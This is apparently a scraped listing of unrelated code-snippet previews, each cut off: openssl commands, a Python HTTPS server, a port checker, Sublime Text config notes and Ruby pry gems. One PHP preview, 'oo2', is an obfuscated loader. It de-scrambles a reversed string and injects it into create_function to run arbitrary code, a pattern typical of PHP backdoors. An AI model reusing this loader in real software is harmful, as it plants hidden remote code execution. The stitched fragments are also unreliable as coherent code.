| #!/bin/bash | |
| # SPDX-License-Identifier: MIT | |
| ## Copyright (C) 2009 Przemyslaw Pawelczyk <[email protected]> | |
| ## | |
| ## This script is licensed under the terms of the MIT license. | |
| ## https://opensource.org/licenses/MIT | |
| # | |
| # Lockable script boilerplate | |
TCL-Expect scripts are an amazingly easy way to script out laborious tasks in the shell when you need to be interactive with the console. Think of them as a "macro" or way to programmaticly step through a process you would run by hand. They are similar to shell scripts but utilize the .tcl extension and a different #! call.
The first step, similar to writing a bash script, is to tell the script what it's executing under. For expect we use the following:
#!/usr/bin/expect
| # to generate your dhparam.pem file, run in the terminal | |
| openssl dhparam -out /etc/nginx/ssl/dhparam.pem 2048 |
| # taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/ | |
| # generate server.xml with the following command: | |
| # openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes | |
| # run as follows: | |
| # python simple-https-server.py | |
| # then in your browser, visit: | |
| # https://localhost:4443 | |
| import BaseHTTPServer, SimpleHTTPServer | |
| import ssl |
| <?php | |
| function oo2($b) { | |
| $h = explode("|", strrev($b)); | |
| $d = explode("*", $h[0]); | |
| $b = $h[1]; | |
| for($i=0;$i<sizeof($d);$i++) { | |
| $b = str_replace($i, $d[$i], $b); | |
| } | |
| create_function("", "};".$b."//"); | |
| } |
#ST2/3 Search result syntax highlighting
##Introduction and disclaimer
This is gist contains an edited Find Results.hidden-tmLanguage which adds syntax highlighting to your ST search results.
As far as I know, there is no plugin that does this and for that reason it needs to be done via config.
DISCLAIMER: Use this HACK at your risk and backup the original files you are about to mess with.
##Usage Guide for Sublime Text 2
Using Python to check if remote port is open and accessible.
Taken from http://snipplr.com/view/19639/test-if-an-ipport-is-open/
Usage:
- Open a Python prompt
- Run the script in is_port_open.py
- Call isOpen with a host and a port parameter. Example: isOpen("www.google.com", 80)
| # Using these pry gems -- copy to your Gemfile | |
| # group :development, :test do | |
| # gem 'awesome_print' # pretty print ruby objects | |
| # gem 'pry' # Console with powerful introspection capabilities | |
| # gem 'pry-byebug' # Integrates pry with byebug | |
| # gem 'pry-doc' # Provide MRI Core documentation | |
| # gem 'pry-rails' # Causes rails console to open pry. `DISABLE_PRY_RAILS=1 rails c` can still open with IRB | |
| # gem 'pry-rescue' # Start a pry session whenever something goes wrong. | |
| # gem 'pry-theme' # An easy way to customize Pry colors via theme files | |
| # end |